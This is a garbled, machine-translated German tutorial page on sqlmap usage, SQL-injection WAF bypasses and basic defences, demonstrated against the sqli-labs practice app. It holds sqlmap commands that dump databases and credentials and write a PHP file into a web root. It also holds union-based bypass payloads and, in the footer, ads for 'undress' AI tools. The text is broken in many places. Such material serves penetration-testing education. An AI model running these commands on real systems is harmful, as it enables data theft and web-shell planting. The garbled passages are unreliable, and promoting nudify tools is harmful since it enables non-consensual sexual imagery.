So analysieren Sie die SQLMap- und SQLi-Injection-Abwehr
Teil 1: Verwenden von Sqlmap
1.1 Einführung in SQLmap
1. Ich habe bereits einige grundlegende Aussagen zur SQL-Injektion erwähnt, aber die manuelle Injektion ist sehr mühsam, das können wir Verwenden Sie sqlmap. Dieses leistungsstarke SQL-Injection-Tool wird zum Abrufen von Daten verwendet und Ausnutzen von SQL-Injection-Schwachstellen und
Zugriff auf den Server der Datenbank. Es verfügt über eine sehr leistungsstarke Erkennungs-Engine, einen Penetrationstester mit mehreren Funktionen, Zugriff auf das zugrunde liegende Dateisystem durch Datenbank-Fingerprinting und Befehlsausführung über eine Out-of-Band-Verbindung. Offizielle Website: sqlmap.orgMySQL, Oracle, PostgreSQL , Microsoft SQL Server, MicrosoftAccess, IBM DB2, SQLite, Firebird, Sybase und SAP MAXDB.
(3)#Unterstützung mehrerer Injektionsmethoden
#UNION-Abfrage-SQL-Injection (kann mit Abfrageinjektion kombiniert werden)
#Boolesche blinde SQL-Injektion (Boolesche Injektion)
#Zeitbasierte blinde SQL-Injektion (basierend auf Zeitverzögerungsinjektion)#Gestapelte Abfragen SQL-Injektion (mehrere Anweisungen). Abfrageinjektion)
1.2 SQLmap-Installation und Umgebungsaufbau
1. Hauptschritte der SQLmap-Installation
(1) Python-Umgebung installieren---> ;sqlmap erfordert Python-Umgebung
Python-Download-Adresse: https://www.python.org/downloads/release/python-2715/)
#🎜 🎜##🎜 🎜# sqlmap ist besser mit Python2 kompatibel. (2) Installieren Sie Python nicht im chinesischen Pfad und fügen Sie Python zur Umgebungsvariablen hinzu ##🎜🎜 #
ein. Wenn die folgenden Aufforderungen angezeigt werden, ist die Installation erfolgreich
python
Python 2.7.16 #🎜 🎜 #(v2.7.16:413a49145e, 4. März 2019, 01:37:19) [MSC v.1500 64 Bit (AMD64)] auf Win32
Geben Sie „Hilfe“, „Copyright“, „Credits“ oder „Lizenz“ ein, um weitere Informationen zu erhalten.>>>
(5) sqlmap-Test: Geben Sie die cmd-Befehlszeile ein und geben Sie sqlmap.py -h (Notizpfad) ein information
#🎜 🎜 #1.3 Allgemeine Parameter von sqlmap
#(1) Bibliotheksnamen, Spaltennamen, Berechtigungen abrufen
--dbms mysql #Datenbank angeben type
--users # Alle Datenbankbenutzer (lokaler Datenbankbenutzername)
--passwords #Get das Datenbankpasswort (kann nur mit Erlaubnis gelesen werden)
- #🎜 🎜#
- --technique #Geben Sie an, welche Injektionsart verwendet werden soll
- --current-db #Aktuelle Datenbank#🎜 🎜# --banner #Datenbankidentifikation abrufen
- #🎜🎜 #-D Datenbankname --tables #-D wird verwendet, um Daten anzugeben, --tables ruft eine bestimmte Bibliothek ab. Die folgende Tabelle
- -D Datenbankname -T Tabellenname -- columns #-T gibt den Tabellennamen an, --columns ruft das Spaltenfeld ab
- # 🎜🎜#
-D Datenbankname -T Tabellenname -C Spalte_1,Spalte_2 --dump
# 🎜🎜#--users #Spalte Datenbankverwaltungsbenutzer Wenn der aktuelle Benutzer die Berechtigung hat, die Tabelle mit allen Benutzern zu lesen, können alle Verwaltungsbenutzer aufgelistet werden. - --current-user #Benutzer, die Verwaltungsdaten in den meisten Datenbanken abrufen können.
- --is-dba #Bestimmen Sie, ob der aktuelle Benutzer ein Verwaltungsbenutzer ist. Wenn ja, wird True zurückgegeben.
- --privileges #Wenn der aktuelle Benutzer die Berechtigung hat, die Tabelle mit allen Benutzern zu lesen, werden wahrscheinlich die Berechtigungen jedes Benutzers aufgelistet, und sqlmap teilt Ihnen dies mit Wer ist der Superadministrator der Datenbank? Sie können auch den Parameter -U verwenden, um die Berechtigungen des Benutzers anzugeben, den Sie sehen möchten.
- --proxy #Geben Sie einen Proxyserver an, z. B.: –proxy http://local:8080
#🎜🎜 #
#(2) Geben Sie das Suffix und das Suffix an:#sqlmap kann viele Interferenzzeichen nicht erkennen, Sie können das Präfix und Suffix beim Schließen manuell angeben
Wählen Sie * aus Benutzern aus, bei denen id=((('1'))) und 1=1 ist
# - -prefix=PREFIX Das Präfix der Nutzlastzeichenfolge einfügen
#–suffix=SUFFIX Das Suffix der Nutzlastzeichenfolge einfügen
z. B.: sqlmap -u „www.target.com/index.php?id=1“ -p id -- Präfix "'))"
--Suffix "AND ('1'='1"sqlmap -u "www.a.com/1.php ? id=1“ --file-write=“d:/1.txt“
--file-dest=“E:/wwwroot/web/one.php“
-
--batch vollautomatisch
--start=Startnummer--stop=Endnummer
--dump Daten exportieren
--dump-all Alle Daten exportieren
--purge-output/ --purge Löschen Sie das Cache-Verzeichnis
--sql-shell Rebound-SQLShell, ähnlich dem SQL-Abfrageanalysator. Standardpfad.sqlmap (klicken Sie auf SQLMap)
- 3 Natürlich gibt es auch andere Methoden, um über die Umgehung zu sprechen.
- Es gibt WAF-Geräte in realen Szenen, und WAF wird tatsächlich gefiltert Einige Schlüsselwörter um SQL-Injection zu verhindern. 2.2 SQL-Injection-Bypass-WAF-Experiment
- 1. Gefilterte Kommentarzeichen (weniger als 23 als Beispiel) #(1) Grund für das Filtern von Kommentarzeichen: für normales SQL In der Anweisung das Kommentarzeichen spielt die Rolle der Erklärung. Bei der Ausnutzung von SQL-Injection-Schwachstellen spielen Kommentarzeichen jedoch die Rolle des Schließens von einfachen Anführungszeichen, mehreren einfachen Anführungszeichen, doppelten Anführungszeichen, einzelnen Klammern und mehreren Klammern. Einzeiliger Kommentar: --+ oder --space oder #
#(3) Ergebnisse exportieren:
1.4 SQLMap-Praxisbeispiel
#Less-1--Less65 allgemeine Anweisung ( Diese Sätze sind die am häufigsten verwendeten Parameter und müssen verstanden werden)
#(1) Alle Bibliotheksnamen abrufen
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1? id=1" --dbs --dbms=mysql --batch
# Analyse:
-u gefolgt von URL bedeutet die Test-URL
--dbs bedeutet alle Datenbanken abrufen
--dbms bedeutet, dass die Der angegebene Datenbanktyp ist MySQL.
--batch bedeutet, dass er automatisch abgerufen wird angegebene Datenbank als Sicherheitsspaltennamen in der Benutzertabelle
-D Sicherheit -T Benutzer -C Benutzername, Passwort --dump #Erhalten Sie die Dateninformationen der Benutzernamen- und Passwortfelder in der Sicherheitsbibliothek, Benutzertabelle, --dump bedeutet Anzeigen die Ergebnisse:
#(2) Den aktuellen Bibliotheksnamen abrufen
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#Ergebnis:aktuelle Datenbank: ' security'
#(3) Holen Sie sich den aktuellen Tabellennamen
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D security --tables -- batch
#Results:
Database: security[4 tables]+----------+
| emails |
| referers || uagents ||. Benutzer |
+-- --------+
#(4) Holen Sie sich den aktuellen Spaltennamen
#Ergebnis:
Datenbank: Sicherheit
Tabelle: Benutzer
[3 Spalten]
+----- -----+----- --------+
|. Typ |
+---------- --+
|. int(3) |
+------- ------+
# (5) Rufen Sie den Benutzernamen und das Passwort in der Benutzertabelle ab
#Ergebnis:
Datenbank: Sicherheit
Tabelle: Benutzer
[13 Einträge]
+-------- --+---------- --+
|. Passwort |
+----------+-----------+
| Dumm |
|. I-töte dich |
|. dumm | admin |. admin1 |
|. admin4 | ---------+
Teil 2: WAF-Bypass für SQL-Injection
2.1 Einführung in die WAF-Bypass-Methode für SQL-Injection
Hinweis: Hier sind nur Beispiele für Bypass-Methoden, das tatsächliche Szenario ist mehr kompliziert. Mehrere Bypass-Methoden können gemischt und verwendet werden.
1. Wie können wir die SQL-Injektion verhindern? ) Filter und/oder
#(3) Filterauswahl oder Vereinigung
#(4) Filter-Blacklist
2. Welche Möglichkeiten gibt es, gefiltert und/oder zu umgehen?
#( 1) MySQL unterscheidet nicht zwischen Groß- und Kleinschreibung und kann korrekt ausgeführt werden ===>Deformation von Groß- und Kleinbuchstaben verwenden
preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : Führen Sie eine Suche und Ersetzung mit regulären Ausdrücken durch.
$pattern: Das zu suchende Muster, das eine Zeichenfolge oder ein Array von Zeichenfolgen sein kann.$replacement: Die Zeichenfolge oder das Array von Zeichenfolgen, die zum Ersetzen verwendet werden.
$subject: Der Ziel-String oder das String-Array, der durchsucht und ersetzt werden soll.
#(3) Umgehen von Kommentarzeichen:
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
(1) Quellcode-Analyse: Sie können sehen, dass das oder oder und durch leer ersetzt wird
(1) Verwenden Sie %0a als Leerzeichen
4 )
Teil 3: SQL-Injection-Verteidigung
3.1 SQL-Injection-Verteidigungsmethode 1. Allgemeine Schutzmaßnahmen:
#(2), magische Anführungszeichen (gleicher Effekt wie Addslashes): Wenn magic_quotes_gpc=On in php.ini. Alle einfachen Anführungszeichen ('), doppelten Anführungszeichen ("), Backslashes () und NUL (NULL-Zeichen) in den übermittelten Variablen werden automatisch in Escape-Zeichen mit Backslashes #(3) umgewandelt und die Daten werden verarbeitet. Filterung: Für Filtern Sie beispielsweise gängige Schlüsselwörter wie and/or/union
#(4) heraus, steuern Sie die Benutzerberechtigungen für die Verbindung mit der Datenbank: Jede Bibliothek legt einen Administrator für eine einzelne Bibliothek fest, verwenden Sie keine Root-Berechtigungen
#(6), Hardware-Schutzmaßnahmen (WAF und andere). Hardware)
Das obige ist der detaillierte Inhalt vonSo analysieren Sie die SQLMap- und SQLi-Injection-Abwehr. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Verwenden Sie sqlmap, um die Injektion in dvwa zu automatisieren, setzen Sie den dvwa-Level auf niedrig, öffnen Sie die SQLInjection (SQLInjection(Blind)) von dvwa, öffnen Sie das Browser-Debugging, geben Sie die Benutzer-ID ein, senden Sie sie und sehen Sie sich die abgefangenen Anforderungen an. Sie können sehen, dass es sich um eine GET-Anfrage handelt, die URL „http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#“. Wir haben sie direkt in Salmap eingefügt, um sie zu testen, verwenden Sie die - u Befehl -u"http://192.168.1.22

0x00-Übersicht Vor Kurzem bin ich beim Testen der SQLMAP-Injektion auf ein seltsames Phänomen gestoßen. Die höhere Version von SQLMAP kann die Injektion jedoch nicht erkennen, und die Daten können ausgehen, was kein Fehlalarm ist Beim vergleichenden Testen und Anzeigen des SQLMAP-Quellcodes wurden zwei kleine Lücken gefunden. 0x01-Szenarioreproduktion Injektionspunktformat: json..."whereparams":[{"name": "keyWord", "value": "test"}]} Injizierbare Parameter: Valuesqlmap-Befehl: pythonsqlmap.py-rsqlpk.txt– Flush -session-vvsqlmapv1.2.11 kann keine s injizieren

Teil eins: Verwendung von SQLmap 1.1 Einführung in SQLMAP 1. Ich habe einige grundlegende Anweisungen zur SQL-Injektion erwähnt, aber die manuelle Injektion ist sehr mühsam. Wir können SQLMAP, ein leistungsstarkes SQL-Injection-Tool, verwenden, um Daten zu erhalten. 2. Einführung in SQLMAP (1) # sqlmap ist ein Open-Source-Penetrationstest-Tool, das SQL-Injection-Schwachstellen und mit der Datenbank verbundene Server automatisch erkennen und ausnutzen kann. Es verfügt über eine sehr leistungsstarke Erkennungs-Engine, einen Penetrationstester mit mehreren Funktionen, Zugriff auf das zugrunde liegende Dateisystem durch Datenbank-Fingerprinting und Befehlsausführung über eine Out-of-Band-Verbindung. Offizielle Website: sqlmap.org(2)#Unterstützte Datenbanken: MySQL, Oracle, PostgreS

Da Penetrationstests auf externen Websites erforderlich sind, verfügen die meisten Websites über eine Zugriffshäufigkeitskontrolle. Sobald diese Häufigkeit überschritten wird, wird die IP direkt gesperrt. Insbesondere wenn SQLMAP ausgeführt wird, ist es noch „Tantenroter“ und wird mit einem Fehler beendet, bevor die Ausführung von SQLMAP abgeschlossen ist. Deshalb begann ich, den Proxy-Modus von SQLMAP zu untersuchen. SQLMAP verfügt über zwei Proxy-Modi, einen normalen Proxy (HTTP-Proxy) und einen Onion-Proxy. Ich wollte ursprünglich über die Anwendung gewöhnlicher Agenten schreiben, aber Baidu sah, dass dieser Artikel detailliert genug war und hörte auf, Unsinn zu reden. Sqlmap-Erweiterung – Implementierung eines externen IP-Proxy-Pools Konzentrieren wir uns auf den Onion-Proxy. Zu Beginn, als Onion direkt zur Injektion verwendet wurde, gab es keinen „Tante Red“-Bericht. Später, als die Anzahl der eingedrungenen Websites zunahm,

1. Vorwort Wie erkennt man eine SQL-Injection? Meine Antwort lautet: Wenn Partei A sich um die Sicherheit kümmert, ist die Erkennung von SQL-Injections relativ einfach. 1) Fehlerinjektionserkennung. 2) Fügen Sie keine Bool-Fehlerberichte ein, da die Zahl der Fehlalarme relativ hoch ist. 3) Führen Sie eine zeitbasierte Zeitinjektion durch, wenden Sie sich an den Betrieb und die Wartung, um langsame Protokolldatenbankaufzeichnungen zu erstellen, den Ruhezustand zu überwachen und die Schlüsselwortüberwachung durchzuführen. Sie können die ID-Nummer der Scanaufgabe zum Dezimalpunkt der Ruhezeit hinzufügen, um die Positionierung zu erleichtern. (P.S.: Mit dieser Methode können 99 % der SQL-Injektionen gefunden werden.) Daher schränke ich den Zeitfehler bei der zeitbasierten Zeitinjektion sehr streng ein. Allerdings führt @chengable sicherheitsrelevante Arbeiten in Partei B durch, basierend auf t

Es gibt zu wenige verwandte Artikel zur DNS-Injektion für SQLMAP. Sie stellen den Parameter --dns-domain nur kurz vor oder erwähnen ihn in einem Satz, was verwirrend ist (hauptsächlich unehrlich). noch nicht Big Boss). Dann habe ich es noch einmal gemacht, indem ich auf die Methoden im Internet verwiesen habe. Zu den Dingen, die vorbereitet werden müssen, gehören eine SQLMap, Windows Blind Injection, zwei Domänennamen und ein externer Netzwerkserver. Als ich einmal etwas tat, stieß ich auf eine Zeitblindinjektion. Es war zufällig ein Windows-Computer und ich erinnerte mich an die Methode der DNS-Injektion. Bevor ich anfange, habe ich vor, den Befehl --sql-shell von sqlmap zu verwenden, um die DNS-Injection-Nutzlast zu testen. Gehen Sie zunächst zu burpsuite.

Als ich die APP des Unternehmens testete, stellte ich fest, dass wir allen Parameterinhalten ein 32-Bit-Zeichen hinzugefügt und schließlich eine MD5-Verschlüsselung durchgeführt haben. Da der APP-Verarbeitungsprozess zunächst überprüft, ob das Zeichen korrekt ist, kann er überhaupt nicht in die Datenbank gelangen, um SQLMAP zum Testen zu verwenden. Nach dem Abfangen habe ich ein Skript für Proxy-Daten geschrieben Das Datenpaket führt eine verschlüsselte Ersetzung seines Parameterinhalts und 32 Zeichen durch. Hinweis: Dieses Skript ist für das interne System des Unternehmens geeignet, da Sie den Verschlüsselungsprozess kennen oder die Verschlüsselungsmethode des Front-End-JS erhalten können. Zuerst habe ich mit Django ein Programm geschrieben, um das System des Unternehmens zu simulieren. Der Prozess bestand darin, die POST-ID und das Token zu erhalten und ein benutzerdefiniertes verschlüsseltes Wort hinzuzufügen.

sqlmap liest und schreibt Dateien –file-read: liest Dateien aus dem Dateisystem des Back-End-Datenbankverwaltungssystems –file-write: bearbeitet lokale Dateien im Dateisystem des Back-End-Datenbankverwaltungssystems (schreibt von lokal) –file-dest: Der absolute Pfad zu der Datei, die vom Back-End-Datenbankverwaltungssystem geschrieben wird (Schreibzielpfad). Sie können die oben genannten Befehle verwenden, um die Systemdatei nach der SQL-Injection zu lesen und zu schreiben. Voraussetzung ist jedoch, dass Sie über Lese- und Schreibfähigkeiten verfügen Berechtigungen und DBA-Berechtigungen sein, andernfalls können Lese- und Schreibvorgänge nicht erfolgreich ausgeführt werden. Nehmen Sie als Beispiel DVWA und erstellen Sie DVWA unter Kali, um Dateien zu lesen und zu schreiben. Lesen Sie die Datei: Überprüfen Sie die relevanten Informationen in PHPinfo, verwenden Sie -file-r
